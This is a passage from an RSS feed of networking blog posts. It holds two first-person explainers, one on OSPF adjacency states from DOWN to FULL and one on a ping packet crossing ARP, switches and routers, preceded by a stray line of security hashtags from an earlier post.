<p><code>#OSCP</code> <code>#WindowsPrivEsc</code> <code>#PenetrationTesting</code> <code>#RedTeam</code> <code>#CTF</code> <code>#EthicalHacking</code> <code>#CyberSecurity</code> <code>#InfoSec</code> <code>#OffSec</code> <code>#HackTheBox</code> <code>#TryHackMe</code> <code>#Windows</code></p>
]]></content:encoded></item><item><title><![CDATA[I Am a Router — And I Just Made My First Friend]]></title><description><![CDATA[A first-person journey through OSPF neighbor formation, from loneliness to full adjacency.

I woke up alone.
Someone had just configured OSPF on my interface — network 10.0.0.0 0.0.0.255 area 0 — and ]]></description><link>https://packetlife.hashnode.dev/i-am-a-router-and-i-just-made-my-first-friend</link><guid isPermaLink="true">https://packetlife.hashnode.dev/i-am-a-router-and-i-just-made-my-first-friend</guid><category><![CDATA[ospf]]></category><category><![CDATA[routing]]></category><category><![CDATA[hellopacket]]></category><category><![CDATA[networking]]></category><category><![CDATA[ccna]]></category><category><![CDATA[ccnp]]></category><category><![CDATA[routingtable]]></category><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Thu, 04 Jun 2026 22:54:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6823b4b5452196a8ec2458b6/8a22671b-e5b9-43ef-89ca-af4ca866e892.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>A first-person journey through OSPF neighbor formation, from loneliness to full adjacency.</em></p>
<hr />
<p>I woke up alone.</p>
<p>Someone had just configured OSPF on my interface — <code>network 10.0.0.0 0.0.0.255 area 0</code> — and handed me a job: find the network, learn the topology, build the map. But there was no map. There were no neighbors. There was just me, an interface, and a wire disappearing into the dark.</p>
<p>In OSPF, they call this the <strong>DOWN state</strong>. It means exactly what it sounds like. Nothing has happened. No one has spoken. I am a router with potential and no friends.</p>
<p>But I knew what to do. Every 10 seconds, I would shout into that wire and hope someone shouted back.</p>
<hr />
<h2>Chapter One: The First Hello</h2>
<p>I multicast my first <strong>OSPF Hello packet</strong> to <code>224.0.0.5</code> — the address every OSPF router on the planet listens to. It wasn't addressed to anyone in particular. It was a message to whoever was listening.</p>
<p>My Hello carried everything about me:</p>
<pre><code class="language-plaintext">Router ID:      1.1.1.1
Area ID:        0
Hello interval: 10 seconds
Dead interval:  40 seconds
Neighbors seen: (none)
</code></pre>
<p>That last line was my honesty. I hadn't heard from anyone. My neighbor list was empty. I was announcing myself to the universe and admitting, in the same breath, that I was completely alone.</p>
<p>Somewhere down that wire, Router B — <code>2.2.2.2</code> — had just woken up too.</p>
<hr />
<h2>Chapter Two: The Passport Check</h2>
<p>Router B received my Hello. Before it did anything else, it did what every border agent does: it checked my credentials.</p>
<p>Did my Area ID match its own? Yes. Did my Hello interval match? Yes. Did my Dead interval match? Yes. Were we on the same subnet? Yes.</p>
<p>Every parameter had to match. This is OSPF's first rule of friendship — you don't get to be neighbors with someone who runs on a different schedule, lives in a different area, or can't agree on the basics. The internet has no room for miscommunication between routers.</p>
<p>Router B decided I was worth responding to. It sent back its own Hello — and inside that Hello, it listed <strong>my Router ID</strong>.</p>
<p>That was the moment everything changed.</p>
<hr />
<h2>Chapter Three: I Heard My Own Name</h2>
<p>Router B's Hello arrived. I read through it. And there, in the neighbor list, was my own Router ID — <code>1.1.1.1</code>.</p>
<p>Someone had heard me. Someone had written my name down. Someone knew I existed.</p>
<p>In OSPF terms, I had just entered <strong>INIT state</strong> — one-way communication established. Router B could hear me. But I hadn't yet confirmed that I could hear Router B back.</p>
<p>So I sent another Hello. This time, I listed Router B's ID in my neighbor list. Router B received it and saw its own name inside.</p>
<p>We were now listing each other in our Hellos. Two routers, confirming each other's existence across a wire. This was <strong>2-WAY state</strong> — and it was the first real milestone.</p>
<p>We were neighbors. Officially. On paper.</p>
<p>But being neighbors is just knowing someone's name. What we needed next was something deeper — a shared understanding of the entire network. And before we could share that, we had to settle something first.</p>
<p><em>Who was in charge?</em></p>
<hr />
<h2>Chapter Four: The Election Nobody Campaigned For</h2>
<p>OSPF needed a <strong>Master</strong> and a <strong>Slave</strong> — not forever, just for the purpose of exchanging our databases. Someone had to control the sequence numbers. Someone had to go first. Two routers talking at the same time, with no coordination, is how databases get corrupted.</p>
<p>The election took no time at all. The rule is simple: higher Router ID wins.</p>
<p>Router B was <code>2.2.2.2</code>. I was <code>1.1.1.1</code>. Router B won. Router B became Master.</p>
<p>No hard feelings. The Master sets the pace. The Slave follows. It is the smallest, most polite power structure imaginable — and it only exists for the next few seconds while we trade information.</p>
<p>We entered <strong>EXSTART state</strong>. The handshake before the handshake. Roles agreed. Sequence numbers synchronized. Ready to open our maps.</p>
<hr />
<h2>Chapter Five: The Table of Contents</h2>
<p>Here is what most people get wrong about OSPF database exchange: we don't hand each other our full maps right away. That would be enormous. That would be wasteful. Instead, in <strong>EXCHANGE state</strong>, we swap something much smaller — a <strong>DBD packet</strong>. A Database Description.</p>
<p>Think of it as a table of contents.</p>
<p>Each entry says: <em>"I know about this network. My copy was last updated at sequence number X."</em></p>
<pre><code class="language-plaintext">LSA Type 1 — Router LSA — RID 1.1.1.1 — Seq 0x80000003
LSA Type 1 — Router LSA — RID 2.2.2.2 — Seq 0x80000005
LSA Type 2 — Network LSA — 10.0.0.0/24
</code></pre>
<p>Router B scanned my table of contents and compared it to its own. Anything it didn't have, or anything where my sequence number was newer than its copy — it flagged. I did the same with Router B's list.</p>
<p>By the end of EXCHANGE state, we each had a precise shopping list: <em>these are the things I need from you. These are the gaps in my map.</em></p>
<hr />
<h2>Chapter Six: Filling the Gaps</h2>
<p>In <strong>LOADING state</strong>, we made our requests.</p>
<p>I sent Router B an <strong>LSR</strong> — a Link State Request — for every LSA I had flagged as missing. Router B responded with an <strong>LSU</strong> — a Link State Update — containing the actual map data. I received it, installed it, and sent back an <strong>LSAck</strong> — an acknowledgement.</p>
<p>Every piece of information, confirmed. Every map fragment, receipted. Nothing was assumed to have arrived safely; everything was explicitly acknowledged.</p>
<blockquote>
<p>Router A → Router B: <em>"Send me your full LSA for 10.2.0.0/24."</em> Router B → Router A: <em>"Here it is."</em> Router A → Router B: <em>"Got it. Thank you."</em></p>
</blockquote>
<p>This continued until both of our databases had no more gaps. The picture was sharpening. The map was filling in.</p>
<p>And then, finally — silence. Not the silence of loneliness. The silence of completion.</p>
<hr />
<h2>Chapter Seven: Full</h2>
<p><strong>FULL state.</strong></p>
<p>The two most satisfying words in networking.</p>
<p>Router A and Router B now had identical <strong>Link State Databases</strong>. The same map. The same picture of the network. Built from scratch, piece by piece, through Hellos and elections and table-of-contents swaps and careful receipted requests.</p>
<p>We each ran <strong>Dijkstra's SPF algorithm</strong> — independently, on our own hardware, using the identical database — and calculated the shortest path to every destination in the network. Those paths became routing table entries. Those entries became the decisions we would make for every packet passing through us from this moment on.</p>
<p>And now? Now we just wave.</p>
<p>Every 10 seconds, I multicast a Hello. Every 10 seconds, Router B does the same. As long as I hear from Router B within 40 seconds — the Dead interval — I know it's alive. I know the map is still valid. I know nothing has changed.</p>
<p>If those Hellos ever stop? The Dead timer expires. I declare Router B down. I flood the network with an updated LSA — <em>"something has changed, recalculate"</em> — and every router in the area reruns SPF. The network finds a new path. Traffic reroutes. Life goes on.</p>
<p>The network heals itself. Because every router knows the full map. Because every router ran the same algorithm. Because two routers, weeks or months ago, woke up alone on a wire and did the work of becoming neighbors.</p>
<hr />
<h2>What You Should Remember</h2>
<p>The whole process — DOWN to FULL — happens in seconds. But every state has a purpose, and understanding them is what separates someone who <em>configures</em> OSPF from someone who <em>understands</em> it.</p>
<p><strong>DOWN</strong> — nothing has happened yet. Waiting to begin.</p>
<p><strong>INIT</strong> — I've received a Hello, but communication is only one-way.</p>
<p><strong>2-WAY</strong> — we can see each other. We're neighbors. Parameters matched.</p>
<p><strong>EXSTART</strong> — we're electing a Master and agreeing on sequence numbers.</p>
<p><strong>EXCHANGE</strong> — we're swapping table-of-contents (DBD packets), not full maps.</p>
<p><strong>LOADING</strong> — we're requesting the specific LSAs we're missing (LSR → LSU → LSAck).</p>
<p><strong>FULL</strong> — databases are identical. SPF has run. Routes are installed. We're adjacent.</p>
<p>Hello packets keep the friendship alive. Dead timers notice when it ends. LSA floods carry the news. SPF finds the new path.</p>
<p>And underneath all of it — underneath every routing decision, every packet forwarded, every path calculated — is the story of two routers that woke up alone, found each other, compared notes, filled in each other's gaps, and built a shared map of the world.</p>
<p>In 40 seconds or less.</p>
<hr />
<p><em>Next time you see a router stuck in EXSTART or LOADING, you'll know exactly what conversation got interrupted — and why.</em></p>
]]></content:encoded></item><item><title><![CDATA[I Am a Packet — And This Is My Story]]></title><description><![CDATA[A first-person journey through the internet, from buffer to destination.
I was born in a moment of intention.
Someone typed ping 10.10.20.10 and pressed Enter. And just like that, I existed —64 bytes ]]></description><link>https://packetlife.hashnode.dev/i-am-a-packet-and-this-is-my-story</link><guid isPermaLink="true">https://packetlife.hashnode.dev/i-am-a-packet-and-this-is-my-story</guid><category><![CDATA[packet]]></category><category><![CDATA[networking]]></category><category><![CDATA[internet]]></category><category><![CDATA[real world networking]]></category><category><![CDATA[lifeofapacket]]></category><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Thu, 04 Jun 2026 22:14:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6823b4b5452196a8ec2458b6/65fa7587-7a58-4be1-9b78-dea1700b9474.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>A first-person journey through the internet, from buffer to destination.</em></p>
<p>I was born in a moment of intention.</p>
<p>Someone typed <code>ping 10.10.20.10</code> and pressed Enter. And just like that, I existed —64 bytes of pure purpose, assembled by an operating system that had already decided where I needed to go. My name, in network terms, is an <strong>ICMP Echo Request</strong>. But I prefer to think of myself as a question looking for an answer.</p>
<p>I had a source. I had a destination. I had a TTL of 64 a countdown of lives, each one to be spent at a router along the way. What I didn't have yet was a way out the door.</p>
<p>That's where things got interesting.</p>
<hr />
<h2>Chapter One: The Desperate Shout</h2>
<p>Before I could leave PC-A's network card, my host had a problem. It knew <em>where</em> I was going — IP address <code>10.10.20.10</code>, somewhere out there on a different network. But to physically send me anywhere, it needed something more immediate: the <strong>MAC address</strong> of the front door. The default gateway. The router sitting just one hop away.</p>
<p>IP addresses are like city names on a map. MAC addresses are the actual coordinates where the delivery van parks. You can't drive to "New York" — you need a street, a building, a door number.</p>
<p>So PC-A screamed into the local network:</p>
<blockquote>
<p><em>"Who has 192.168.1.1? Tell me your MAC address!"</em></p>
</blockquote>
<p>This is <strong>ARP</strong> — Address Resolution Protocol — and it is, at its heart, a neighborhood shout. Every device on the subnet heard it. Most ignored it. But the router? The router knew that IP was its own. It replied quietly:</p>
<blockquote>
<p><em>"That's me. Here's my MAC: AA:BB:CC:DD:EE:FF."</em></p>
</blockquote>
<p>PC-A wrote that answer in its ARP cache — a little sticky note it would keep for a while — and I finally had somewhere to go.</p>
<hr />
<h2>Chapter Two: Getting Dressed</h2>
<p>Now came the wrapping.</p>
<p>PC-A encapsulated me inside an <strong>Ethernet frame</strong> — think of it as a physical envelope for the local journey ahead. The label on this envelope was precise and, at first glance, a little strange:</p>
<pre><code class="language-plaintext">Source IP:       192.168.1.10   (PC-A)
Destination IP:  10.10.20.10    (PC-B — my final destiny)
Source MAC:      PC-A's MAC
Destination MAC: AA:BB:CC:DD:EE:FF  ← the router, not PC-B
</code></pre>
<p>Notice the sleight of hand. My <strong>IP destination</strong> was PC-B, far away on another network. But my <strong>MAC destination</strong> was the router, right next door. This is the beautiful duality at the heart of networking:</p>
<ul>
<li><p>The IP address is your <em>final destination</em> — where you're ultimately going.</p>
</li>
<li><p>The MAC address is your <em>next stop</em> — who you're handing yourself to right now.</p>
</li>
</ul>
<p>I was the same letter inside two different envelopes. One envelope for the whole journey. One envelope for the next block.</p>
<hr />
<h2>Chapter Three: The Silent Bouncer</h2>
<p>I hit the switch.</p>
<p>The switch is not a thinker. It does not wonder about my destination IP. It does not care about my TTL or my payload or my hopes and dreams. It does one thing, and it does it <em>fast</em>: it looks at the <strong>destination MAC address</strong> on my Ethernet frame, checks its <strong>MAC address table</strong>, and points me at the correct port.</p>
<p>No conversation. No negotiation. Just a finger pointed silently at a door.</p>
<p>I was out the other side in microseconds. The switch had already forgotten me.</p>
<hr />
<h2>Chapter Four: The Border Crossing</h2>
<p>The router was different. The router <em>looked</em> at me.</p>
<p>It took my Ethernet frame and tore it off — that layer-2 wrapper was dead now, its job done. Underneath was my naked IP header, and the router studied it carefully.</p>
<p><em>Where is 10.10.20.10?</em></p>
<p>It consulted its <strong>routing table</strong> — a map of the known internet, maintained through routing protocols, updated constantly. It found a path. Then it did something remarkable: it built me a brand new Ethernet frame from scratch, addressed to the <em>next</em> router down the line.</p>
<pre><code class="language-plaintext">Source MAC:      This router's outgoing interface
Destination MAC: The next router's MAC
</code></pre>
<p>My IP addresses? Untouched. Those belong to me and travel with me always. But my MAC addresses? Completely replaced. The old envelope, discarded. A new one, written.</p>
<p>And my TTL — that countdown of lives — ticked down by one. From 64 to 63. The router was kind enough not to mention what happens when it reaches zero.</p>
<p>I was handed off. I was someone else's problem now.</p>
<hr />
<h2>Chapter Five: The Relay Race</h2>
<p>What followed was repetition. Beautiful, mechanical, necessary repetition.</p>
<p>Router after router after router. Each one performed the same ancient ritual:</p>
<ol>
<li><p><strong>Strip</strong> the Layer 2 frame</p>
</li>
<li><p><strong>Read</strong> the destination IP</p>
</li>
<li><p><strong>Consult</strong> the routing table</p>
</li>
<li><p><strong>Re-encapsulate</strong> with fresh MAC addresses</p>
</li>
<li><p><strong>Forward</strong> to the next hop</p>
</li>
</ol>
<p>My IP stayed constant. My MAC changed at every single hop. I was, in a very real sense, the same letter being passed through a relay race — the baton unchanged, but the runner always new.</p>
<p>The internet is not one long wire from PC-A to PC-B. It is a chain of short wires, stitched together by routers who each take responsibility for just the next segment. Nobody knows the full route. Each router only knows: <em>not me — forward.</em></p>
<hr />
<h2>Chapter Six: The Last Mile</h2>
<p>Eventually, a router found itself on PC-B's local network. The destination IP — <code>10.10.20.10</code> — was <em>here</em>, on this subnet, reachable.</p>
<p>One more ARP. One last shout into the local neighborhood:</p>
<blockquote>
<p><em>"Who has 10.10.20.10?"</em></p>
</blockquote>
<p>PC-B answered. Its MAC address was noted. One final Ethernet frame was wrapped around me, and the local switch — another silent bouncer — delivered me directly into PC-B's network card.</p>
<p>PC-B peeled back every layer. Ethernet frame, gone. IP header, examined. ICMP Echo Request, recognized.</p>
<p>And PC-B, satisfied, did the only thing left to do: it built a reply and sent it all the way back.</p>
<hr />
<h2>What You Should Remember</h2>
<p>The whole journey took milliseconds. Dozens of decisions, made at wire speed, by devices that have been performing this ritual billions of times a day for decades.</p>
<p>But underneath the speed, the logic is elegant and simple:</p>
<p><strong>IP addresses</strong> are the final destination — they never change on the journey.</p>
<p><strong>MAC addresses</strong> are the next-door neighbor — they change at every single hop.</p>
<p><strong>Switches</strong> move frames using MAC addresses. They don't think. They point.</p>
<p><strong>Routers</strong> move packets using IP addresses. They strip, decide, re-wrap, and forward.</p>
<p><strong>ARP</strong> is the glue between these two worlds — the translation layer that turns a logical IP into a physical MAC, one local network at a time.</p>
<p>And somewhere in all of that — in the ARPs and the frames and the routing tables and the TTL countdowns — there is one small packet, 64 bytes of pure intention, that just wanted to get home.</p>
<hr />
<p><em>Next time you ping a device, you'll know what's really happening.</em></p>
]]></content:encoded></item></channel></rss>